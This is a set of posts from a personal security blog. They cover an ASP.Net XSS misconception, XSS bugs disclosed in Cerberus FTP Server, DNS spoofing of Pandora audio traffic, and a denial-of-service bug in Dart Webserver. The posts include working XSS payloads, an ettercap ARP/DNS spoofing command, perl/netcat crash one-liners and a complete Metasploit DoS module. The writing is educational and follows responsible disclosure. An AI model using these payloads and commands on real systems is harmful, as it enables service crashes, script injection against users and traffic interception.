Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Friday, August 23, 2013

Cross Site Scripting vs. ASP.Net EnableValidation="true"

A friend of mine recently told me about a debate he was participating in with a colleague of his. His colleague stated that the reason ASP.Net applications are so secure, is because when EnableEventValidation flag on a page is set to true it will catch any Cross Site Scripting (XSS) attempt and throw an error.

I'm here to say... his Colleague is absolutely correct!

Wait... that's not right. They are actually mistaken. And unfortunately I've met a number of individuals who carry this same belief erroneously.

This is a perfect example of the "Defender's Dilemma." Where-in a defensive posture must account for 100% of all attacks and vectors, which may be costly to the point of exhaustion, or accepting attacks as inevitable because the attacker need only be right one in a million attacks to perform a breach.

This said, yes, EnableEventValidation may present a thorn in an attacker's side. Particularly when all of the sweet sweet pwnage is so rife with opportunity because of that one field that is so obviously vulnerable. But then when you drop your <script> it's thwarted immediately and you immediately wish it was a PHP host you were attacking instead.

But reality is contrary to the surprisingly common misconception that the this flag prevents XSS attempts in all cases. It just doesn't. And there are good reasons why it doesn't. XSS has a huge key-space for potential vectors, arguably an insurmountable key-space. This is compounded by the fact that new methods can be evolved from previously benign unexpected vectors. A perfect example of this would by UTF-7 encoding attacks. A bug that affects only few browsers nowadays. Like I said the defender has to always be right and the attacker only has to be right once. Another issue is that some XSS is represented in manners which may easily represent real valid data. e.g. they may not contain tags at all.

Consider the following as a simple example.

The ASP.Net Page definition, simple example:
<%@Page ... EnableEventValidation="true" %>
...
<div style="<%= Request.QueryString["style"] %>">Welcome Home Marty</div>

Though this is obvious to any conscientious developer, this sort of code can slide into a code base if it is written by a less experienced coder and approved too hastily by an experienced coder. How the code gets into a code base is largely unimportant, what is important is assume you've got something like this, and maybe it's a good time to do a code review if you're relying entirely on the EnableEventValidation flag to protect you.

When exploiting this, and this is one of my favorite methods personally, try leveraging javascript events. For instance, use the onmouseover event to fire your arbitrary javascript when the affected user mouses over a particular object:

http://host/vulnerablePage.aspx?style="%20onmouseover="alert('xss');"

No tags, but the server will process the request and render the onmouseover event with the javascript payload. An important note when testing this is, you know it's worked because it passes by the EnableEventValidation - no exception thrown. However, if you attempt to exploit this against users of I.E. or Chrome you'll likely see little to no success (error towards no success). This is because these clients recognize that script that is executing was passed to the server by the client. This is not a feature of ASP.Net but instead of the client itself.  So if you use Firefox without NoScript installed, it should be responsive to this attack.

Now in a similar situation where a client might get to set their choice of style by inserting into a database, this is a different story. This is the more troublesome persistent XSS attack and the vulnerable code may take the likeness of something such as:

<%@Page ... EnableEventValidation="true" %>
...
<div style="<%= myDataBaseObject.ChosenStyle %>">Welcome Home Marty</div>

In which case even I.E. and Chrome will not have a frame of reference for the XSS. The will not be able to distinguish the XSS from an attack or valid data and will render the page with the onmouseover event ready and willing to fire!

The solution to this is, encode your outputs in a context sensitive manner when dumping information to your clients. By all means EnableEventValidation, but do not rely on it as a replacement for secure programming practices!

And it should be noted, this flag does not provide any protection for other vectors like SQLi, CSRF, LFI, CR/LF, etc. It is really designed for anti-XSS.

So until next time... Hack legal, Hack safe, but most of all... Hack Fun!

Monday, December 17, 2012

Persistence is Key, Another Bug Hunt

Introduction:
There are few things I find more frustrating than looking for bugs and not finding a single one. I've seen and used buffer overflows and format string vulnerabilities in war games, I've even seen some of these bugs in real applications. Sometimes I choose a piece of software to assess and it's just rock solid.

But that's not a reason to stop.

I am specifically talking about Cerberus FTP Server which is, in my opinion, very well written - and it showed in that it provided me a great deal of difficulty in finding bugs through binary analysis like I have done in the past. I did get lucky enough to find a couple of bugs though, but only once I shifted my paradigm. One set is fairly trivial and the other is not as trivial and kind of hard to get to fire. This was all performed using Cerberus FTP Server v5.0.5.1.

Usually I'd discuss the whole process of my bug hunt, but in this case it was a long time to get so far. I started by seeking out printf/buffer overflow vulnerabilities, running some fuzzers and the like. All to no avail. An analysis of the binary showed a good indication of why:

This call to sprintf is of the "_s" variant. This means it is "security enhanced", as described here. I checked every single possibility for *printf and found very few potentially viable options. In part compilers now have warnings for these sorts of bugs, but also when the developer is aware of them too it's that much worse. Of the possibilities I did find I was later informed they exist in unused code sections which are presently unreachable. So whether or not they'll even be available is unknown much less vulnerable too, especially after mentioning them!

Moving Along:

Just to get into it, I gave up on the classics and moved to the modern world - web based attacks. This is an area of vast opportunity and means it's often fruitful. The bugs can slip in through many avenues, sometimes even shrouded under the guise of guessed safe practices.

Let's begin with the trivial bug. It is a Cross Site Scripting (XSS) scripting bug and it can be located in the "/servermanager" page of the web admin interface for Cerberus FTP Server. This interface is by default disabled. One enabled an administrative user may login at "http://localhost:10000/" Once the administrator is logged in they may find a link to the server manager page in the left menu. Or you may use "http://localhost:10000/servermanager"

It should look, something like this:
Select the "Messages" tab and you will be presented with the vulnerable page - though if the server has already been exploited, those should have already fired. The messages page looks like so:
Each of the message fields may be exploited trivially like so:
</textarea><script>alert('trivial xss');</script>

Click update to save the message, then reload the server manager page for the effect:

This as fun and all, but as one should note there is only 1 administrative user for the web interface and thus if this XSS bug is being leveraged - you probably have larger problems. None the less, this bug has been fixed and the latest version of Cerberus FTP has the corrections.

And a Little Harder:
Now for the more difficult bug. Having found a trivial XSS bug I now know that at least some fields may or may not be properly escaped. So the goal is to find other methods of interacting with the web interface that may not require authentication. Most of the options are available only to administrative users, and after exploring all the available options I finally decide to attempt to attack the "http://localhost:10000/log" page

First thing to note is the log is empty. Javascript is required for using the log page and it is on an 8 second update cycle. When log entries are shown you have approximately 2-3 seconds to review it before they are cleared. This plays a role in making this bug irritatingly difficult to fire. It should also be noted that the data transfer from the servers are in fact html encoded, hiding this bug from view in post-mortem analysis. No time like the present.

The log page is shown here, empty, waiting on it's 8 second cycle:
Normal usage will fill the log with events, but we're most curious about usage which does not require any form of authentication. To generate some "usage" traffic I write application in python (test.py):

import sys
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('192.168.0.200', 21)
sock.connect(server_address)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
user = "USER testuser\r\n"
sock.sendall(user)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
quit = "QUIT\r\n"
sock.sendall(quit)
sock.close()
Then I execute this from bash using a simple for loop, and I note that it returns the XSS banner we've already exploited.
for each in {1..100}
do
python test.py
done
We execute this loop and look for the results, sometimes I had to run the script multiple times to get it to show:
Obviously we have some control over what is shown in this log even though we have not authenticated in any way. The real question is, does this render in a way which might be dangerous. To test, we merely adjust our 'testuser' to be something more effective fun:

USER <div onmouseover="alert('xss');" />

And run the loop again, because we're using the onmouseover - we'll need to fire this by mousing over the areas where the divs will be. If it works it should be immediately apparent.

And a Cross Site scripting bug is discovered. As with the other one I am told this bug has been patched and is no longer an issue. Special thanks to Grant @ Cerberus FTP for the fixes and extremely timely support given, this has been the best company I've had the pleasure to deal with so far in regards to security related matters.

For reference these bugs were assigned CVE-2012-6339.

See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Monday, September 24, 2012

Pandora Jacking

So Pandora.com is a very cool and very awesome website. It introduces me to all sorts of new music. Expanding my repertoire using the  heuristic capabilities of Pandora to determine what I like is very rewarding. Sometimes it gets it wrong, and corrections are recommended. But sometimes I like to skip to the chase. Sometimes I just want to listen to my music. And I know I could just pause Pandora and start up my media player... but this is a tech blog, gotta make it fancy.

So, enter the desire to inject my own music into the Pandora experience. At first this seems like a daunting task. There is a lot of traffic that flies across the wire when loading the Pandora browser. A lot of data to sift through to find the meaningful parts. I worry about file formats and structures and interfacing with flash etc. And then I calm my nerves (with whiskey) and begin logging some data. I setup chrome to pass all my web traffic through a web proxy, OWASP ZAP.

First off... holy crap, ads/ad tracking. I damn near died when I saw the list of resources that load when visiting pandora!


But it's not the time to get caught up in the overwhelming nature of ads. Sifting through all the requests, I identify the ones that look particularly pertinent. They kinda look like:
GET http://audio.*\.pandora\.com/access/?(.*)
This is a regular expression representation to simplify the otherwise very long requests. That is '.' represents any character and '*' the previous character repeating zero or more times. So '.*' means any number of any characters. The '\' acts as an escape which removes the special meaning of the character following, thus '\.' means a literal period.

The portion following the '?' seems to contain tokens and keys and etc. for pandora,  so I'm actually going to ignore this because it occurs to me - if done right the content server at pandora will never even receive this request! How you ask? Well it's simple really... Domain Naming System (DNS) Spoofing.

It's somewhat a sure fire bet that your machine does not already have the Internet Protocol (IP) address of the content server already stored. This means before you make the request to GET http://.... you're gonna have to connect to the server - you'll need the IP address to do this. That is, you'll need to make a DNS request - and this is where we'll hijack control to inject our own content.

By controlling the DNS requests we can control where the pandora client goes to get the music. Then we just server up a file of our choosing and hope it works. For simplicity I use a file delivered from pandora themselves to avoid issues with encryption, or formatting, etc.

So I open up etter.dns, add a line for:
audio*.pandora.com A 192.168.0.10
 The "192.168.0.10" is the IP address of my new content server. I start up ettercap with the dns_spoofing plugin started:
ettercap -T -M ARP /192.168.0.1/ /192.168.0.2/ -P dns_spoof
 Now, with luck, I should be in the middle of the gateway (192.168.0.1) and my pandora player (192.168.0.2), and redirecting the content requests to a local server (192.168.0.10) running on port 80. I chose to use apache, which is installed in Backtrack 5 by default. We just need to modify the file at:
/etc/apache2/sites-available/default
 We add an AliasMatch, which does regular expression and rewriting for access.
AliasMatch /access/(.*) /var/www/music.m4a
 This redirects all requests for /access/* to return the file "music.m4a".

For testing, I played Pandora normally but through ZAP and intercepted one of the /access/ requests on my "Classic Rock" station. Def Leppard - Pour Some Sugar on Me, I copied the Request-URI to the clipboard and pasted it into Chrome's URL bar. This downloads the file locally, which gives us an actual Pandora encoded  file to use. I 'save page as...' and save the file to /var/www/music.m4a.

Then I started up the web server and started a new pandora station, "Rick Astley." Obviously you can't hear it but this looks like this:

But, I hear Def Leppard - Pour Some Sugar on Me.

Replacing Rick Astley with Def Leppard... Hmm... I suppose it could be reversed too.

Pandora Jacking is successful!

Happy hacking, I'll bring something else cool soon I hope. Until then, Hack Legal, Hack Safe, but most of all Hack Fun!

Friday, September 14, 2012

Writing My First Metasploit Module

So I decided I should learn how to use Metasploit. It seems to me, that this framework is the wave of the future, even though it's already in it's fourth revision with what I understand to have been several major rewrites. So I guess the future is already here and I'm just behind the curve!

For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!

To just try this out go to the Backtrack website: http://www.backtrack-linux.org/

  1. Download it
  2. Burn it
  3. Boot it
  4. Continue

In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.

As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:
/opt/metasploit/msf3/modules/auxiliary/dos/http/apache_mod_isapi.rb
I chose this module because my module will also be in the DoS for HTTP servers area. Since, it is a DoS for an HTTP server. It is also short, and simple, which means easy to modify.

The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.

I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:
find ./ -exec grep -H "RPORT" {} \; | grep "Remote port"

And found
./auxiliary/crawler/msfcrawler.rb: OptInt.new('RPORT', [true, "Remote port", 80 ]),
Yep, copy that and throw it into the ruby script. Watching out to remove the comma at the end since it's the last option in my list. Next I stripped out most extraneous communications and just followed the general feel of the ruby script to build a request of "A" * size bytes, tack on my "\n\n" to the end, and send it!

This completes my module, and I save it to:
~/.msf4/auxiliary/dos/http/dart_request_dos.rb
Note:  if you save to /opt/metasploit/msf3/modules/auxiliary/dos/http/, and later perform an update, it will wipe out your module if it is not in the actual framework tree. So be wary of that shortcut! (yes it bit me)

Now when I load msfconsole, I have access to my module and it's as simple as:
use auxiliary/dos/http/dart_request_dos
set RHOST [target_ip]
set RPORT [target_port]
exploit
------------------------------SNIP-------------------------------------
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end

Tuesday, September 11, 2012

My First Experiences Bug Hunting, Part 1

/*
Responsible Disclosure(info): in the following post and future posts I will cover the specifics of my first bug hunt. This has led to six assigned CVEs. One of which is discussed below and it's ID is CVE-2012-3819. I will discuss the other five, and the affected software, once the vendor(s) has had time to assess and determine remediation for the remaining vulnerabilities. CVE-2012-3819 was originally reported to an affected vendor in October of 2011, it was reported (by the author) to the responsible vendor August 2nd of 2012, the responsible vendor has replied stating:
"Thank you for the additional information. The technical team was able to reproduce the issue and log it as issue #5654. I know there are not immediate plans to resolve the issue, however it will be reviewed when  the product is again up for renewal." [formatting by me] 
Enough of the boring stuff, let's get to the fun!
*/

A couple of years ago I had never even heard the term Bug Hunt. Had never really done any real exploitation what so ever. Technique was something of myths, reverse engineering was something I did to watch bits floating around in memory and that's about it. Maybe I could get a lucky (well 'lucky' after trying 20 different locations) patch in a video game to gain an edge or something. But really, understanding a bug and developing an exploit, was (is?) beyond my caliber.

Then I heard about this so called "Bug Hunting," and figured - what the hell, I have access to software and I like playing with debuggers. Let's see if we can't break some code. And this is where my understanding of the steps involved come in, to my knowledge they involved the following:
  1. Install Software
  2. ????
  3. Win/Exploit
And to me it really does feel like magic, like only a Techno-God could look over some executable and discover a bug and how to exploit it. But I knew there must be a way to find my own bug and make a custom exploit. So I looked toward a few resources. I bought eight books on various forms of information security, from web, to database. And it seems like the favorite type of exploit, the bug hunter's creme of the crop exploit, is the Stack or Buffer Overflow. Armed with a plethora of information, I picked an application with some familiar technology to me. I chose a Web Server/Web App which we use at work, I downloaded the trial and installed it. Then it was time to see where it'd go.

The application has a stand alone web server, the same one found here: Dart Communications. The version I was utilizing was version 1.8.0.10 (current as of writing is 1.9.0.0). I loaded the app up and the software began spinning it's wheels. Simple, right?

It does whatever stuff it needs to start up, and then bind()s to an address followed by a listen() for incoming connections. So now what? Step #2 above is a black box to me - I don't really know where to go, or what the hell I'm doing. So I decide to start with the normal use case scenario. I connect to the server and make a valid request by printing the following to a connected socket:
GET / HTTP/1.1\n\n
Simple enough to do, it's just a quick perl + netcat combo [nifty trick from Hacking By Erickson, Jon (Google Affiliate Ad), plus a shameless plug for ad-sense, it is a fantastic book though I swear].
perl -e 'print "GET / HTTP/1.1\n\n"' | nc server 80
I get a typical "200 OK" response and I think quietly to myself... Then I think about the different pieces of this request. They take the form of '[method] [requested-uri] HTTP/[version]\n\n' which means I can control the method (e.g. GET or POST), the Requested-URI (e.g. / or /index.html), and the HTTP version reported (e.g. 1.1 or 1.0).

So I think to myself, "If I were writing a web app I'd need the file name... would I check the size of the URI in the GET/POST request?"
perl -e 'print "GET " . "A" x 9999 . " HTTP/1.1\n\n"' | nc server 80
The server responds with a 401/403/404 or whatever. An expected and normal result having fed in garbage data. So I figure what the hell, let's go really huge and see if it survives.
perl -e 'print "GET " . "A" x 520000 . " HTTP/1.1\n\n"' | nc server 80
Presto! The server crashes and I get a feeling like I might be onto something good. The number I'm showing here was chosen experimentally, I really just kept multiplying by ten. I e-mail the vendor to inform them of the bug and I begin an investigation to see how far down the rabbit hole it goes. The hope is remote arbitrary code exploitation.

/*Spoiler Alert* more CVE-2012-3819 specifics
It's denial of service only. Simply put, the Requested URI is copied around in memory, some copies are stored on the stack. After several large copies, they exhaust the available stack space for the process. This yields a Stack Overflow Exception, not to be confused with a buffer overflow. The exception is passed to the controlling process where no handler exists, so the application exits immediately. Additionally the request does not have to be well formed, e.g. a continuous string of repeating 'A's will have the same effect as long as it does not receive the "\n\n" and try to process the request.
perl -e 'print "A" x 520000 . "\n\n"' | nc server 80
*End Alert*/

So I load Ollydbg to and take a closer look at the vulnerability, which I'll cover that in a future post, and how it led me to find better and more mature bugs which have real security impacts beyond the utilitarian annoyance of a Denial of Service condition.

Until then, Hack Safe, Hack Legal, but most of all Hack Fun!